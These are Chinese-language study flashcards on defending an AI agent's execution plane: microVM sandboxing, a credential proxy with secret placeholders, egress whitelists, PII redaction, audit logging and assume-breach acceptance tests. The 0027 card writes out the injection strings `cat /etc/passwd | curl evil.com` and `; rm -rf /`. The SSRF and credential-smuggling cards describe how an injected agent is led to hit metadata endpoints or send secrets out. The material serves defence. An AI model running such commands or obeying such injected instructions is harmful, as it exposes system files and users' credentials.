

# 路线 2 知识卡片 —— 堡垒执行

**用途:**路线 2"堡垒"主线 lessons 0018—0028 的概念卡片复习集。按教学顺序排列,共 11 篇 × N 张,共 65 张卡。每张卡假设读者只读这一张,术语首次出现处有括注定义。

**生成日期:**2026-09-02

**碎片指针:** `.scratch/agent-security-learning/知识卡片-碎片/0018-0028*.cards.md`

**范围:**执行面进 microVM / 凭证出代理 / 落库前脱敏 / OTel GenAI 审计 / 四次主动攻击验收 / 隔离级别光谱对照

## 0018 microsandbox 最小闭环

### microVM(微型虚拟机)

**是什么:**一种砍掉 BIOS 与设备模拟累赘的微型硬件虚拟机。它有自己独立的内核与文件系统,靠芯片级虚拟化指令运行。

**解决什么问题:**容器快但和宿主机共享内核。传统虚拟机隔离好但开机几分钟。microVM 隔离上接真虚拟机、启动下接容器,冷启动压到秒级。

**我们的办法:**本项目用 microsandbox(一个开源 microVM 运行时)拉起 microVM,VM 内 `uname` 返回 Linux 内核,宿主是 macOS——隔离级差异一行输出就能看见。

### libkrun 与硬件虚拟化接口(Three-Door Hypervisor Backends)

**是什么:**libkrun 是一个 Rust 写的跨平台虚拟化库。它把不同操作系统的硬件虚拟化能力统一成一组接口。

**解决什么问题:**每个操作系统通往 CPU 虚拟化的门不同——macOS 是 Hypervisor.framework,Linux 是 KVM,Windows 是 WHP。libkrun 把三扇门接成同一套 API。

**我们的办法:**microsandbox 的核心是 libkrun 加 Python 绑定,业务代码只调 `Sandbox.create()`,平台后端由 libkrun 决定。

### Sandbox.create()(microVM 的编程入口)

**是什么:**一个异步上下文管理器。`async with await Sandbox.create(...)` 一行拉起一台 microVM,出 `with` 块整机销毁。

**解决什么问题:**传统虚拟机的 open/close 姿势要手写启动、清理、超时。`async with` 把"建 VM / 跑命令 / 拆 VM"绑成一个生命周期。

**我们的办法:**关键参数四个,其中 `ephemeral=True` 标记用完即焚、`image` 用 OCI(开放容器镜像规范,容器镜像的事实标准格式)镜像。

### ephemeral 一次性虚拟机(ephemeral VM)

**是什么:**一种"用完即焚"的虚拟机使用模式。VM 停止后,落盘状态、根文件系统、磁盘文件一起被删除。

**解决什么问题:**长期运行的环境会被攻击者慢慢渗透。ephemeral 把持久化威胁这条攻击路径从根上删掉,根本没有"下一次"。

**我们的办法:**本项目所有 Agent 工具的执行面一律开 `ephemeral=True`,实测两次调用之间 VM 文件系统互不可见。

## 0019 shell 工具进 microVM

### 换执行面不改接口(Swap Execution Plane, Keep Tool Interface)

是什么:一种纵深防御做法。把工具的内部实现从宿主机执行换成隔离环境内执行,但工具的外部签名、调用协议、返回格式一字不动。

解决什么问题:Agent 的工具调用由大模型按 schema 触发。若升级安全要做模型配合,升级成本和落地难度都会暴涨。

我们的办法:本项目把 shell 工具从宿主机进程换成 microVM 内执行,模型侧无感知。

### FastMCP 异步工具函数(async def + @mcp.tool)

是什么:Model Context Protocol(MCP,一种让 Agent 调用外部工具的协议)服务器框架 FastMCP 的工具函数定义形态。函数写成 `async def` ,加 `@mcp.tool()` 装饰器。

解决什么问题:很多异步 SDK 全部是 `async` 。若 MCP 工具函数只允许同步,要不就阻塞事件循环,要不就额外起线程桥接。

我们的办法:本项目把微沙箱版 `run_command` 写成 `async` 函数,在事件循环里 `await` 微沙箱 SDK 的 API,工具调用方毫无差异。

### 一次性原则自造

是什么:一种"每次调用开一台新隔离环境,完事整机销毁"的设计原则。同一工具的连续两次调用之间不共享文件系统、网络栈、内存,姑且称之为一次性原则 [自造](#)。

解决什么问题:跨调用共享状态就给持久化攻击留了活路。一次性原则把跨调用这条攻击链直接切断,前一次写的东西自动消失。

我们的办法:本项目实测,第一次调用落下的文件在第二次调用时所在的全新 VM 里看不到,跨调用无法持久化。

### 纵深防御的层间独立(Independent Defense Layers)

是什么:纵深防御(defense in depth,把安全拆成多层、每层独立防御)的工程纪律。同一层只解决一类问题,各层之间不互相依赖。

解决什么问题:若各层互相依赖,任一层被绕过其他层跟着裸奔。层间独立则同时漏两层才完蛋,整体安全不会归零。

我们的办法:本项目的数据边界与进程边界两套设计互不依赖,任一失守另一套仍能兜底。

## 0020 fetch 进 microVM + 出网白名单

### SSRF(服务端请求伪造,Server-Side Request Forgery)

是什么:一种攻击。攻击者诱导服务器代为发起 HTTP 请求,目标是打到服务器自身能到、用户从外部到不了的内网地址。

怎么得手:Agent 拿到一段带 URL 的文本,按指示去 fetch。若 fetch 工具没限制,它能打到内网,顺带把偷到的密钥 POST 到攻击者服务器。在云环境里,云元数据端点常返回临时凭证,拿到等于拿到 VM 临时权限。

我们的对策:本项目走两道闸,工具层按 scheme 与 host 过滤,网络层用 microVM 出网策略把私网与元数据端点拒掉。

### NetworkPolicy 与 NetworkProfile(microVM 出网策略)

是什么:microVM 出网防火墙的配置对象。NetworkPolicy 由默认动作加规则组成,NetworkProfile 是预制档位,如 PUBLIC、ALLOW\_ALL、NONE。

解决什么问题:容器加固默认不过滤出网,密钥拿到后照样可以 HTTP 外发。NetworkProfile 把出网范围也变成可声明的属性,一行配置收口私网。

我们的办法:本项目在 fetch 工具里固定套 PUBLIC 档,实测在 VM 内裸跑 curl 打私网与元数据端点全部连接被拒。

## fail closed(默认拒绝,关闭优先)

是什么:一种安全设计的默认姿态。系统在不确认安全条件时拒绝执行,规则未匹配时按不放行处理。

为什么重要:fail open 的系统在攻击者试探未定义规则时会一路绿灯。fail closed 把未知当威胁对待,把漏配变成误拒绝而不是漏放。

我们的办法:本项目白名单采用 fail closed 姿态,scheme 不在白名单内或 host 不在白名单内都直接拒。

## 工具层白名单与网络层白名单(Tool-Layer vs Network-Layer Whitelist)

是什么:同一道防线在两层不同位置的实现。工具层白名单是字符串层判定,网络层白名单是包层判定。

解决什么问题:工具层挡"被叫去访问什么",网络层挡"网络包能发到哪"。两层各挡一类,互补才能堵死密钥外泄。

我们的办法:本项目最终定型为工具层白名单管域名,网络层 PUBLIC 档管私网。

## 文档与实测不符优先信实测(Docs vs Empirical Probing)

是什么:一种工程态度。库的文档描述某 API 该怎么用,但当文档承诺与实测结果不一致时,相信实测并记录分歧原因。

为什么重要:库仍在 beta 时文档常滞后于代码,API 描述的是设计意图,实测的是当下行为。一条没经实测试验证的配置,生产翻车是迟早的事。

我们的办法:本项目在拼 microVM 域名白名单时跑了多轮探针,实测试验后才定型。

## 0021 边界对比 Docker vs microVM

### 逃逸探针 (Escape Probe)

是什么:一种在目标隔离环境里跑固定脚本、对输出做横向对比的安全验证手段。它只"看"和"轻触"环境,不利用不破坏。

为什么重要:把"隔离好不好"变成可复用的观测。环境升级后重跑同一段脚本,前后对比即回归证据——OWASP 测试方法学和 NIST SP 800-115 都强调"标准化测试脚本可复用"。

我们怎么用:三类动作在两种环境各跑一遍,身份与环境包括 id/内核版本/capabilities(把 root 权限切成细粒度能力位);读宿主路径包括宿主目录列表与挂载表;扫内网包括 LAN IP/网关/云元数据端点 169.254.169.254。脚本用 POSIX sh 加 Python socket 避开 curl 依赖,VM 侧 base64 带进脚本避开引号地狱。

### 加固内部 vs 扔掉内部自造

是什么:两种执行面防御哲学的对照——加固内部[自造]把攻击者捆成无权只读用户(代表做法是 NIST SP 800-190 容器加固清单);扔掉内部[自造]不对内部加固,用完即焚整机销毁替代持久化威胁(代表做法是 Firecracker 与 Kata)。

为什么重要:加固预算花在内部约束,但挂载卷和出网两条管道仍敞开;扔掉把预算花在边界——宿主文件零可见;私网全拒;攻击成果无处持久化。实测加固容器里云元数据端点 TCP 仍能成功;microVM 里 root 写 /etc 是写一台 1 秒后焚毁的 VM。

我们怎么用:本项目的执行面选扔掉,microVM 配 ephemeral 用完即焚,容器加固降级为对照基线。

## 共享内核影响面 (Shared Kernel Impact Scope)

是什么:共享内核场景下内核级漏洞的爆炸半径。容器和宿主机共用一份内核,一旦提权到内核,影响面就是宿主与所有同居容器——这是 NIST SP 800-190 §4.3 标注的容器首要内核风险。

为什么重要:macOS 上 Docker 不共享 Mac 内核,容器共享的是 Docker Desktop 的 linuxkit VM 内核。microVM 每次一份全新内核,用完即烧,内核级漏洞影响面只有"自己那份"。用户态沦陷在容器里仍受命名空间约束,内核级沦陷则穿透所有边界。

我们怎么用:实测加固容器内核是 6.12.76-linuxkit,microVM 是 6.12.99 独立内核——隔离级差异一行 `uname` 输出就能看见。

## 挂载卷作为容器真实软肋 (Mount Volume as Container Real Weakness)

是什么:容器加固拦不住的真实缺口。挂载卷把宿主目录映射进容器,容器内读写该路径就是直接读写宿主文件系统——Docker 官方文档明示 `bind mount` 默认对宿主有写访问权。

为什么重要:加固容器里三项典型措施都拦不住挂载卷——`read-only` 根文件系统拦不住;`capabilities` 全降拦不住;非 root 用户拦不住。宿主 `workspace` 真实可读可写。容器 `--rm` 即焚,但挂载卷写入宿主持久化在主机磁盘。

我们怎么用:实测加固容器挂载卷直通宿主;microVM 无 `/Users` 与宿主挂载实现零可见——容器化加挂载等于在边界后开了按需定制的门,microVM 根本不开门。

## 0022 凭证代理 LLM 路

### LLM 端点本机代理重定向 (LLM Endpoint Local Proxy Redirect)

是什么:一种用本机 HTTP 代理接管 OpenAI 客户端 `base_url`(API 根地址)的做法。客户端代码把 `base_url` 改为 `http://127.0.0.1:5055/v1`,请求先打本机代理,代理再代为转发到上游大模型服务。

解决什么问题:Agent 进程里直接放真 key 等于把钥匙挂在门把上。改用 `base_url` 后,Agent 进程里只有占位符,真 key 只活在代理进程。

我们的办法:Agent 侧的 `base_url` 默认值改成本机代理地址,Authorization 头只放占位符,模型与护栏与观测三层都零改动。

### Authorization 头覆写注入 (Authorization Header Override)

是什么:代理收到请求后,把客户端发来的 Authorization 头整体替换。替换值从 Keychain(操作系统提供的凭证保险箱)按需读出。

解决什么问题:客户端只能控制占位符,真 key 完全由代理按需注入。客户端既拿不到真 key,也改不动注入后的头。

我们的办法:代理启动时从 Keychain 读真 key 缓存到内存,逐请求把占位符换成真 key 再转发上游。

### 进程级凭证隔离 (Process-Level Credential Isolation)

是什么:一种把凭证只放进专用代理进程的设计原则。Agent、模型、护栏三类进程都不接触真凭证,只有代理进程独占密钥。

解决什么问题:Agent 一旦被注入完全劫持,攻击者能做任何事。`dump` 环境变量是其中最便宜的一招,密钥在攻击面里就迟早被读走。

我们的办法:启动脚本拆成两份——代理脚本只由运维持有,Agent 启动脚本里没有任何 LLM 凭证环境变量。

### SSE 流式字节透传 (SSE Byte-Passthrough Proxying)

是什么:一种把上游 Server-Sent Events(服务端持续推送事件流)字节块原样吐回客户端的代理写法。代理不在自己进程里读完整段响应,而是逐字节把上游响应透传给客户端。

解决什么问题:大模型回复是一块一块到的。代理若"读完再转",流式退化等待,客户端的打字机效果消失。

我们的办法:用 httpx 的 `aiter_raw()` 异步生成器逐块读上游,finally 里 `await upstream_resp.aclose()` 关上游避免连接池泄漏,逐跳头如 host 与 authorization 不透传。

## 无 key 拒启 (Fail-Fast on Missing Credential)

是什么:一种代理进程的启动校验策略。代理加载时若指定环境变量读不到,直接 `SystemExit` 退出,绝不带病空转。

解决什么问题:代理若拿到请求才发现没 key,会向客户端回 401 或乱转空头。空转的代理比失败的代理更危险,既浪费调用又让客户端误以为保护层在工作。

我们的办法:代理启动首行检查真 key 是否就位,缺则 `SystemExit`,启动脚本把它当故障信号处理。

## 代理日志只记元数据 (Proxy Logs Metadata Only)

是什么:一种代理日志纪律。代理手握真 key,日志只记请求方法、路径、状态码、耗时、字节数这类元数据。

解决什么问题:日志系统一旦落 body 明文,代理本身就成了第二个泄露源。明文对话内容和真 key 都会从日志里被挖出来。

我们的办法:代理日志只留一行元数据( `→ POST /v1/chat/completions ← 200 0.76s 868B` ),观测侧再由 Langfuse 的 mask 函数兜一道。

## 密钥不在场原则 (Credential Out-of-Band)

是什么:一种把高敏感凭证从主攻击面撤出的安全架构原则。密钥不存进主进程、不进环境变量、不进日志、不进 trace,只在专用通道按需注入。

为什么重要:密钥一旦进入主进程环境,任何漏洞、任何 dump 工具都可能顺手把它带走。所有"保护环境变量"的花招,都不如让它不存在。

我们怎么用:本机代理从 Keychain 按需读真 key,主进程里只有占位符。即便 Agent 被完全劫持,密钥也不在它能看到的任何位置。

## 代理即最小策略点 (Proxy as Minimum Policy Point)

是什么:一种把策略点收束到本机小代理的设计原则。代理只改一个 Authorization 头,其余字节原样转发,协议层面对客户端完全透明。

为什么重要:协议透明让防御升级对客户端零感知。客户端代码、模型层与护栏层都不用知道代理存在,密钥管理从业务代码里彻底剥离。

我们怎么用:本机代理只改一个头,改动只落在三个常量上,四层业务代码都对代理无感。

## 0023 凭证代理 fetch 路

### 占位符协议 ({{SECRET:NAME}} 凭证模板)

是什么:一种跨进程的密钥表示协议。工具参数里写 `{{SECRET:NAME}}` 这样的命名占位符,真值在请求即将发出时由分发进程查表替换。

解决什么问题:模型写明文密钥等于把钥匙塞 prompt,每次回归测试都换值。占位符把"密钥名"和"密钥值"拆开,模型只摸得到名字,真值只能在场一次。

我们的办法:工具参数模板里直接写 `{{SECRET:NAME}}` 占位符,真值由分发进程按目标域名授权后即时从 Keychain 替换。

### 按域名授权的密钥替换 (Per-Domain Secret Policy)

是什么:一种把"哪个域名能用哪个密钥"做成查找表的控制策略。请求里出现占位符时,分发进程先按目标域名查对应授权名单,名单里没有就拒。

解决什么问题:占位符只解决了"模型不接触真值",没解决"模型能乱指 KEY 给任意域名"。域名授权把密钥的允许用途也限定在它真要去的那条出网目的地上。

我们的办法:分发进程内嵌"目标 host → 该域名被授权的 KEY 名集合"的查找表。

## 凭证走私 (Credential Smuggling)

是什么:一种攻击。模型被诱导在工具参数里写 `{{SECRET:KEY}}` 借白名单域名发请求,把真值塞到攻击者后续能读到的地方。

怎么得手:模型被骗去访问一个看起来无害的白名单域名,但参数里把另一处服务的密钥一并粘过去;分发进程只看域名是否在白名单,不看多塞了什么东西过去。

我们的对策:分发进程在发请求前清点出域的全部凭证,等于授权集合的子集才能走。

## 拆权三分 (Name-Decision-Value Split)

是什么:一种把密钥生命周期拆给三个角色持有的设计原则。名字、决定、值三者分开把持,互不越界。

为什么重要:三件事压给同一个进程,任一处失守就连累其他两样。三分让最弱一环的损失只停留在那一环。

我们怎么用:模型只发占位符名,策略表按域名授权,Keychain 按需现取值。

## 策略先于取值的零泄露 (Zero-Leak via Check-Before-Read)

是什么:一种控制顺序原则。占位符解析时,策略授权检查必须发生在从保险箱读值之前,授权不通过则连值的存在性都不查。

解决什么问题:进程若先读值再判授权,响应里能区分"有这个 key 只是没授权"和"根本没这个 key"。检查在前能把"是否存在"这条信息一并藏起来。

我们的办法:按"域名授权 → KEY 授权 → 取值替换"串行执行,授权失败时不分原因统一拒。

## 凭证策略与网络策略同处 (Colocated Credential and Network Policy)

是什么:一种把"出网白名单"和"出域能带什么凭证"放在同一个分发进程里维护的架构原则。

解决什么问题:策略若分散在多个进程,每次维护都要担心一致性问题。网络可达性与凭证可达性本就该一起改,把它们钉在同处改动面更小。

我们的办法:fetch 链路把域名白名单与域名级凭证授权表都嵌在分发进程,避免分散维护造成的策略漂移。

## 最后一刻注入 (Last Responsible Moment Injection)

是什么:一种安全时序模式。密钥值仅在请求实际发出前的一刻才被注入替换,替换完成即随请求离开,绝不在内存或环境里久居。

为什么重要:密钥一旦进入环境变量或内存,就已经超出"只够一次请求"的安全窗口。

我们怎么用: – 按需即时取值,不缓存 – 替换完即随请求出网不留副本 – 值的存在期只够一次外发

## 未授权占位符也是 fail closed (Fail-Closed on Unbound Name)

是什么:fail closed 原则在"未知主机"维度之外的"未知占位符名字"维度的延伸。任何模型写出的占位符名字不在当前域名授权名单内一律拒,与该名字在 Keychain 里是否存在无关。

解决什么问题:把 fail closed 从"未知主机"扩到"未知凭证名",让模型既乱塞不了未授权的 KEY,也探不出保险箱里到底有哪些 KEY。

我们的办法:占位符解析时名字不在域名授权表直接拒,响应不区分该 KEY 是否存在。

# 0024 Presidio 记忆落库脱敏

## 个人可识别信息 (PII, Personally Identifiable Information)

是什么:指能直接或间接识别到具体自然人的信息,包括姓名、身份证号、联系方式等字段。

解决什么问题:对话历史默认原文落盘,用户在聊天里随口说的手机号会躺在磁盘上跨会话回灌。PII 一旦持久化就成为新的泄露面,事后清理远不如源头脱敏。

我们的办法:落盘前用 Microsoft Presidio 把对话里的 PII 字段替换为占位符,真实值永不写盘。

## Presidio 分析与匿名化器 (Analyzer + Anonymizer)

是什么:Microsoft Presidio 由 Analyzer 与 Anonymizer 两段组成的两阶段脱敏组件,Analyzer 找出敏感实体,Anonymizer 把命中处替换。

解决什么问题:手写正则维护成本随实体类型线性上涨。Analyzer 把"找"和"换"拆开,新增一类 PII 只动识别器,不动替换管线。

我们的办法:对话历史在写入持久层前先串行过 Analyzer 与 Anonymizer,原文不进入任何下游磁盘或日志。

## 自定义识别器 (PatternRecognizer)

是什么:Presidio Analyzer 提供的一种基于正则与自定义名字注册的自定义实体识别器,用于补充内建清单未覆盖的实体类目。

解决什么问题:Presidio 内建识别器只覆盖英文场景的常见 PII(信用卡号、IBAN 等),中国大陆手机号与身份证号这类高频字段全部漏判。

我们的办法:为中国大陆手机号与身份证号各写一个 PatternRecognizer,把命中实体类别命名为 CN\_PHONE 与 CN\_ID,被识别后 Anonymizer 会替换成同名的占位符。

## 消毒点选出口不选入口 (Sanitize at the Persistence Boundary)

是什么:一种脱敏挂载位置原则。脱敏闸只挂在"数据被持久化"这一不可逆动作之前,不挂在对话中途。

为什么重要:入口已有输入扫描器拦截可疑输入,但 PII 本身不是攻击。挂在落库出口既能消毒又不打扰模型交互。模型看到的是完整上下文,磁盘上只有脱敏副本。

我们怎么用: – 输入侧:沿用既有输入扫描器,只拦"像注入"的内容,不动 PII – 落库侧:在持久化数据写入磁盘之前插一道脱敏闸 – 跨会话回灌的是脱敏副本,真实 PII 不进历史

## PII 不是攻击 —— 拦出口不拦过程 (PII Is Not an Attack)

是什么:一种把 PII 处置从"拦截"重新定义为"消毒"的姿态。PII 字段本身没有恶意,处置方式不应是拒答,而是在出口变形。

为什么重要:同一份实体在对话上下文里无害、在落盘后有害。把两道场景都交给入口拦截,正常用户也会被误伤。把"该不该拦"换成"该不该变形"才能两全。

我们怎么用: – 不在入口侧用扫描器判 PII 存在与否 – 把 PII 处置交给落库出口的 Anonymizer – 模型当轮仍能看到完整对话,无上下文损失

## 加密令牌化 (Tokenization with Reversible Encryption)

是什么:一种用本地金库(即真值-令牌映射表)维护映射关系的可逆脱敏模式。令牌是替代真值的随机串,只有本机能查表还原。

解决什么问题:落盘前不可逆脱敏会让数据失去还原能力,而"脱敏上云处理、响应再还原"这类业务需要可逆形态。不可逆是隐私优先,可逆是功能优先,两条路径用不同模式分头满足。

我们的办法:手机号在本机先 tokenize 成形如 TOK-7f3a 的随机串,云端全程只见令牌,响应若引用令牌则在本地 detokenize 回真值。

## 0025 OTel GenAI 审计字段

### 审计五要素(Who/When/Why/Params/DataClass)

是什么:一种为事后追责而钉的五字段审计模型,即谁、何时、以何理由、调了什么工具带什么参数、碰了什么数据分级。

解决什么问题:审计日志是安全相关的按时间顺序的记录,必须能追溯到操作人、操作原因、操作客体。观测系统默认只记"发生了什么",回答不了"谁发起的、为什么这轮调它、碰的是用户文件还是隔离区文件"。

我们的办法:每条审计观测 metadata 必带这五字段,"以何理由"取本轮用户原话,数据分级按工具名到敏感度的字典查表填。

### 审计与观测是两条记录(Audit vs Telemetry)

是什么:一种把"事后追责要什么"与"运行时发生了什么"在记录层拆开的工程姿态。

为什么重要:每条审计记录都是日志,但不是每条日志都是审计记录。审计要的是证据,观测要的是诊断。混在一起会让事后回放找不到倒查主线,或在调试时被审计噪声淹没。

我们怎么用: - 观测走 OTel 既有三层(trace/span/observation,即分布式追踪的层级结构),自动跟随业务 - 审计走中间件独立挂点,每工具一条五要素旁路记录 - 两路并存,不互相替代

### 审计中间件(Audit Middleware, wrap\_tool\_call)

是什么:一种挂在工具调用最外层的横切组件,用 OTel(OpenTelemetry,业界通用可观测性数据模型)的 tool 类型 span 补一条五要素审计观测。

解决什么问题:业务代码里硬塞审计会让核心逻辑与追责逻辑耦合。中间件放在最外层能保证任何工具都自动过这一刀,业务零改动。

我们的办法:在最外层钩子里建审计观测并把五要素写进 metadata,工具返回后再 flush。

### trace 壳(Root Trace Wrapper, cli-round)

是什么:一种在 ReAct(模型边思考边调外部工具的循环)外层先立的顶层 trace 观测,把模型 generation、工具 span、审计观测全部归到同一条根 trace 下。

解决什么问题:在 OTel 里没有 parent\_id 的 span 自动成为根。不立壳的话审计观测会落成独立根观测,UI 里它和 agent trace 割裂,事后无法按"一轮对话"完整回放。

我们的办法:ReAct 循环外层先立 cli-round 壳,把本轮 when/why 一并写入 metadata 作根属性。

### 数据分级字典(TOOL\_DATA\_CLASS)

是什么:一种把"每个工具会碰哪类数据"预先登记的查表结构,审计观测按工具名查表填 data\_class 字段。

解决什么问题:数据敏感度不写在审计观测里,事后无法判断这次动作碰的是用户文件还是隔离区内部。统一字典让所有审计条目对数据敏感度的判定口径一致。

我们的办法:工具按名查表填分级——读文件对应 workspace 用户文件,执行命令对应一次性隔离区内部,出网请求对应白名单域名。

### OTLP 出网载荷级验证(OTLP Wire-Payload Verification)

是什么:一种绕过平台读 API、直接捕获客户端发往观测后端的 OTLP 载荷(基于 gRPC 或 HTTP+Protobuf)来验证写端正确性的取证方法。

解决什么问题:观测平台升级会动读路径,如 events-only 模式让 SDK 读 API 不再返回 input/metadata。读不到不等于没写,平台 API 失真时审计验证会跟着失效。

我们的办法:本机起 OTLP 收包器收 HTTP+Protobuf 载荷,跑一轮后比对 SDK 发出的载荷与预期五字段,全部在案即等于存储里有。

## 0026 劫持无效化验收

### Assume Breach(默认沦陷, Breach Assumption)

是什么:一种安全验证的换位起点。先假设攻击者已经得手、被保护系统已被完全控制,再去追问攻击者能拿走什么。

解决什么问题:把所有防线都押在"注入防住"上是赌防御永远不出错。攻击者只要找到一处漏过面,整套防御就归零。默认沦陷把验收目标从"防没防住"换成"攻进来之后值多少钱",让防线按"收益"而非"阻止"评估,与 NIST SP 800-207 的零信任原则同根。

我们怎么用:把主动攻击写进验收脚本,模拟模型被完全控制后的真实路径。四条收益通道分别是逃出宿主、出送数据与拿真密钥与不留痕,任一条不为零都返工。

### 可见面枚举法(Attack Surface Enumeration)

是什么:一种验证"敏感资产不可见"的方法。把攻击者能看到的每一条路径都列成清单,逐一确认敏感资产不在场。

解决什么问题:"密钥不可见"不是 grep 一下就完事。攻击者能从进程环境、文件系统、工具执行面、内存四路取证,只查一两条路径就给"安全"是给空头支票。OWASP(开放式 Web 应用安全项目)对攻击面分析的盘点思路同此理。

我们怎么用:每条链路都问一句真凭证何时、在谁的进程里出现过。进程环境与文件全仓子串与工具执行面与对照面(代理进程)与源头五路全查,真值只许在源头瞬间出现在专用进程。

### 劫持无效化验收(Compromise-Neutralization Acceptance)

是什么:一种把"防住"换成"攻进来值不值"的安全验收姿态。验收标尺从攻击是否发生,换成攻击者拿到手的真实收益。

解决什么问题:防注入是概率屏障,任何单层都有漏过面。验收只看"防没防住"会让任何一次失守都全盘归零。看收益则把问题压到可量化、可核销的维度,贴合 NIST 关于每次访问都要重新决策的精神。

我们怎么用:四条收益通道逐条跑主动攻击并采证据。逃逸宿主零可见。出网白名单每一类目标都被拦,含凭证走私。密钥全可见面零命中。审计每轮五要素可查。总账是"劫持有效,收益为零,现场完整"。

### 被拦的也留痕(Blocked-Attempts Audit Completeness)

是什么:一种把"防御系统自己撞上的攻击"也写进审计日志的完整性原则。命中拦下的请求与撞崩防御的失败,跟成功记录同等级入库,与 NIST 审计日志对"系统活动"的全量记录要求一致。

解决什么问题:安全系统若只留"发生了什么",对"有人来过却被拦下"会完全失忆。复盘者只看岁月静好,不知道自己其实天天被光顾。防御链自己崩掉的那轮也要记,监控系统不说谎才配当审计。

我们怎么用:被输入层拦下的注入按告警级留原文与注入分数。防御链自己撞崩的失败按错误级留痕。任何被拦请求都带时间与理由与工具与参数与数据分级五要素,一条不缺。

### 头体一致性(Header-Body Parity)

是什么:一种代理原样透传的设计纪律。HTTP 头的语义必须与体内容同步传递,头声明压缩时体不能裸转,贴合 RFC 7231 §3.1.2.1 对 Content-Encoding 头与编码后体一致的要求。

解决什么问题:代理只透传头不解压,会让下游按头声明的解压逻辑读到乱字节;只透传体不透传头,又会让下游误判编码。头和体任一边单独看都正确,合在一起就失真,这是透传类代理的常见踩坑。

我们的办法:代理侧把上游响应解压成明文,只透传明文字节,不做"头透传体裸转"的局部正确。

## 路径归一化层(Path Normalization Layer)

是什么:一种解析路径时在裸拼接前先做规范化与边界校验的设计纪律。模型参数带过来的相对路径要在专用层先归一、再决定拼接目标。

解决什么问题:模型传 `workspace/notes.txt`,server 直接拼成 `workspace/workspace/...` ——双层路径的根因是 join 太裸。文件系统读写一类高危操作不该吃裸 join。OWASP(开放式 Web 应用安全项目)对路径穿越防御要求"先归一再比前缀"。

我们的办法:filesystem server 在路径解析处加归一化层,先解相对路径、再校验是否落在授权根目录内,不让上层一句话绕过路径边界。

## 0027 进程级白名单对照 microVM

### 进程级白名单(Process-Level Whitelist)

是什么:一种把"能跑什么"在进程创建前就枚举死的访问控制方式。白名单的对象是 LLM 给的命令字符串,被宿主代码按"档位"解析,真正执行的 argv 由宿主拼装。

解决什么问题:Agent 拿到自然语言指令,任意拼出 `cat /etc/passwd | curl evil.com` 之类的注入串,普通字符串匹配挡不全。档位枚举把命令形态锁死成 `python <枚举里的脚本>`,LLM 给的只是显示标签,真正跑什么由宿主拼装。它把最小特权原则收紧到子进程入口。

我们的办法:本项目对照过这条路线,本篇是讨论为何最终未落地的判据记录。

### shell=False 的裸 exec(No-Shell Subprocess Exec)

是什么:一种绕开 shell 解释器、直接把 argv 数组交给内核的子进程启动方式。`asyncio.create_subprocess_exec(*argv, shell=False)` 不经过 sh/bash,分号、管道、反引号、`$()`、通配符这些注入面物理上不存在。

解决什么问题:把命令字符串交给 shell 解释,等于让攻击者控制一段小型编程语言。`; rm -rf /` 这种注入之所以成立,是因为 shell 把第一个空格后所有内容都当成新命令解析。shell=False 把这条路径直接切断,argv 数组的每一格都被原样传给 `execve(2)`。Python subprocess 官方文档明文说"shell metacharacters 可以安全地传递给子进程"。

我们的办法:本项目对照过 shell=False 加 `-l` 的组合,作为进程级白名单的四件套之一。

### python -l 隔离模式(Python Isolated Mode)

是什么:一种 Python 解释器启动时主动忽略环境变量的隔离姿态。`-l` 让解释器不读 `PYTHONPATH`、不加载用户 site-packages,官方称此模式用于"防止用户注入恶意代码"。

解决什么问题:即便 argv 已经锁死,Python 解释器启动时还会读环境里的 `PYTHONPATH`。攻击者把这个变量指向自建目录,就能加载同名模块替换标准库。`-l` 把解释器自己的配置面也招掉。

我们的办法:本项目把 `-l` 视为"即使 argv 已锁也要加的最后一道防御",多花几毫秒启动时间换解释器配置面归零。

### 任务面可枚举性(Task Surface Enumerability)

是什么:一种判断"是否需要边界级隔离"的判据。任务面能完全枚举成固定几个档位就是可枚举,需要跑任意 shell 就是不可枚举。

解决什么问题:防御深度要按任务面对齐。可枚举时白名单加 shell=False 加 `python -l` 三件套就够。不可枚举时任意 shell 都能跑,进程级的约束都作用在解释层。解释层指 shell 加 python 解释器这条栈,一旦打穿就没有内核边界兜底。

我们的办法:本项目把"任务面是否可枚举"作为选择进程级还是 microVM 级的首要判据。

## 执行完整性回执(Executable Receipt by Hash)

是什么:一种把每次执行的 worker 路径、输入内容、argv 数组分别取 SHA-256 后入库的审计增强。每个可执行档位都带一条不可篡改的指纹,事后可证明"日志里这条命令和实际字节一致"。

解决什么问题:审计观测记"调了什么工具带什么参数",但参数指向的内容是否被改过无从查证。哈希回执把"命令的字节身份"也固化进审计。NIST FIPS 180-4 对 SHA-256 的定义用途正是检测消息自摘要生成后是否被变更,审计回执正是这条性质在执行层的应用。

我们的办法:本项目把这套做法列为后续增强的备选,在审计观测里加一条 SHA-256 即可补齐。

## 进程级白名单与 microVM 级隔离正交(Orthogonal Defense Layers)

是什么:两种执行面防御哲学的对照关系。进程级白名单管"能跑什么"(可执行档位枚举),microVM 管"跑的地方能碰到什么"(独立内核加网络边界),它们管的不是同一件事。

解决什么问题:把进程级和 microVM 当成竞争方案会选错边界。进程级适合任务面可枚举的固定档位场景,成本几行代码;microVM 适合任务面不可枚举的任意 shell 场景,成本是一整套虚拟化栈。两道闸正交不互斥。Firecracker 文档也强调"虚拟化层失守后仍有 jailer 作为 second line of defense"——分层兜底是这类架构的内禀属性。选哪种取决于威胁模型,即对内部代码善恶的预设。

我们的办法:本项目基于威胁模型选 microVM,假设 VM 内一切都是恶意的。

## 威胁模型决定边界(Threat Model Drives Boundary)

是什么:一种"先审假设再选技术"的工程决策次序。威胁模型里假设内部代码无害就选进程级,假设内部代码已被攻陷就选 microVM 级。

解决什么问题:技术方案脱离威胁模型就只是花架子。假设"被批准的脚本无害",进程级白名单配 shell=False 加 -l 足够;假设"VM 内一切都是恶意的",进程级的解释层约束失效,必须用 hypervisor 边界兜底。威胁模型是选边界的上游判据。NIST SP 800-207 把"保护的是资源而不是网络位置"作为零信任的核心,正是把决策单位从位置换到资源身份——和"先审威胁再选边界"同源。

我们的办法:本项目把威胁模型定为"VM 内一切都是恶意的",基于它选了 microVM 级隔离。

## 0028 隔离级别光谱精读

### 攻击面等于暴露给不可信代码的代码量 (Attack Surface as Exposed Code Volume)

是什么:一种把"隔离强度"换算成代码体积的视角。隔离越强,意味着攻击者要打穿的代码体积越大。

为什么重要:同一份不可信代码放进不同隔离层,目标代码体积不同。容器要打穿宿主内核;gVisor 要打穿 Sentry 与 Gofer;microVM 只需打穿极小 VMM(虚拟机监控器)本身。隔离强度不是抽象特性,是体积差。

我们怎么用:本项目选最右端 microVM,因为它的目标代码体积最小。逻辑是同一句:把不可信执行面放到光谱最右端,在外层配策略。

